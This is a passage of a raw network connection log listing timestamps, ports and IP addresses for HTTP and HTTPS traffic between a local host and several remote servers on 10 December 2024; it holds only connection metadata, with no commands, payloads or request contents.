Dec 10, 2024 05:10:38.300662041 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.300672054 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.300724030 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.300770998 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.300966024 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.301016092 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.301027060 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.301058054 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.301789999 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.301800966 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.301810026 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.301836014 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.301846027 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.302503109 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.302541018 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.302581072 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.302589893 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.302612066 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.302622080 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.303296089 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.303369999 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.303383112 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.303405046 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.303427935 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.304079056 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.304097891 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.304112911 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.304146051 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.304157019 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.304867983 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.304904938 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.304914951 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.304941893 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.304964066 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.305624962 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.305676937 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.305687904 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.305718899 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.306405067 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.306463957 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.306473017 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.306504965 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.307205915 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.307255030 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.307256937 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.307267904 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.307301044 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.307996988 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.308043957 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.308053017 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.308098078 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.308774948 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.308825970 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.308835983 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.308881998 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.309544086 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.309632063 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.309642076 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.309673071 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.309683084 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.310344934 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.310391903 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.310414076 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.310425997 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.310450077 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.310461044 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.311116934 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.311177969 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.311188936 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.311218023 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.311235905 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.311902046 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.312009096 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.312050104 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.332566977 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:38.333504915 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:38.426336050 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.426358938 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.426369905 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.426390886 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.426418066 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.615055084 CET	443	49906	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:38.615139961 CET	443	49906	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:38.615194082 CET	49906	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:38.658088923 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:38.661263943 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:38.713912964 CET	49906	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:38.713926077 CET	443	49906	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:39.272888899 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.392271042 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.710050106 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.710110903 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.710187912 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.710227966 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.714138985 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.714173079 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.715039968 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.715079069 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.715197086 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.715239048 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.723428011 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.723469019 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.723500013 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.723537922 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.731769085 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.731812000 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.731895924 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.731933117 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.740147114 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.740192890 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.740233898 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.740276098 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.748471975 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.748519897 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.836716890 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.836730003 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.836807013 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.839550972 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.839561939 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.839601040 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.839611053 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.844750881 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.844794989 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.844917059 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.844968081 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.853102922 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.853147984 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.853208065 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.853246927 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.861468077 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.861507893 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.861581087 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.861624956 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.903532028 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.903546095 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.903588057 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.903601885 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.907629967 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.907641888 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.907675982 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.907692909 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.914041996 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.914089918 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.914227962 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.914335012 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.922300100 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.922317028 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.922352076 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.922363997 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.929207087 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.929271936 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.929302931 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.929341078 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.937604904 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.937650919 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.937716007 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.937752962 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.946034908 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.946047068 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.946078062 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.946089029 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.960088015 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.960134029 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.960202932 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.960239887 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.963995934 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.964037895 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.964875937 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.964916945 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.964979887 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.965017080 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.972759962 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.972810984 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.972870111 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.972907066 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.980737925 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.980786085 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.980798006 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.980823994 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:39.987735987 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:39.987782955 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.027132034 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.027177095 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.027299881 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.027332067 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.030265093 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.030322075 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.030375957 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.030417919 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.036705017 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.036751986 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.036885023 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.036921978 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.043122053 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.043173075 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.043235064 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.043272972 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.049567938 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.049611092 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.049698114 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.049734116 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.056014061 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.056061029 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.056124926 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.056164980 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.062887907 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.062930107 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.063014984 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.063055992 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.068798065 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.068845987 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.068916082 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.068953991 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.075191975 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.075239897 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.075273037 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.075309038 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.081137896 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.081187963 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.093626022 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.093686104 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.093802929 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.093847036 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.094671965 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.094715118 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.094777107 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.094821930 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.098121881 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.098165035 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.098239899 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.098275900 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.101685047 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.101726055 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.101804972 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.101845026 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.105098963 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.105149984 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.105206013 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.105245113 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.108484030 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.108541012 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.108582973 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.108630896 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.111932039 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.111974001 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.112103939 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.112143993 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.115477085 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.115523100 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.115551949 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.115595102 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.118872881 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.118915081 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.119012117 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.119052887 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.122378111 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.122420073 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.122450113 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.122489929 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.125792980 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.125837088 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.125899076 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.125936031 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.129244089 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.129286051 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.129369974 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.129411936 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.132720947 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.132766962 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.136869907 CET	49913	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:40.136915922 CET	443	49913	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:40.137010098 CET	49913	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:40.137334108 CET	49913	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:40.137351036 CET	443	49913	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:40.156183004 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.156200886 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.156232119 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.156244040 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.157102108 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.157145023 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.157180071 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.157213926 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.160576105 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.160619974 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.160675049 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.160712957 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.164024115 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.164062023 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.164125919 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.164164066 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.167505026 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.167553902 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.167558908 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.167592049 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.218904018 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.218961954 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.218991041 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.219027996 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.220468998 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.220513105 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.220571041 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.220608950 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.223592997 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.223640919 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.223705053 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.223742008 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.226593971 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.226634979 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.226708889 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.226749897 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.229728937 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.229789972 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.229830027 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.229870081 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.232852936 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.232896090 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.232923031 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.232960939 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.235740900 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.235781908 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.236006975 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.236042023 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.238534927 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.238570929 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.238603115 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.238641024 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.241256952 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.241302967 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.241358995 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.241400003 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.244048119 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.244127989 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.244301081 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.244340897 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.246274948 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.246315002 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.246402025 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.246442080 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.248766899 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.248819113 CET	49895	80	192.168.2.5	185.215.113.206
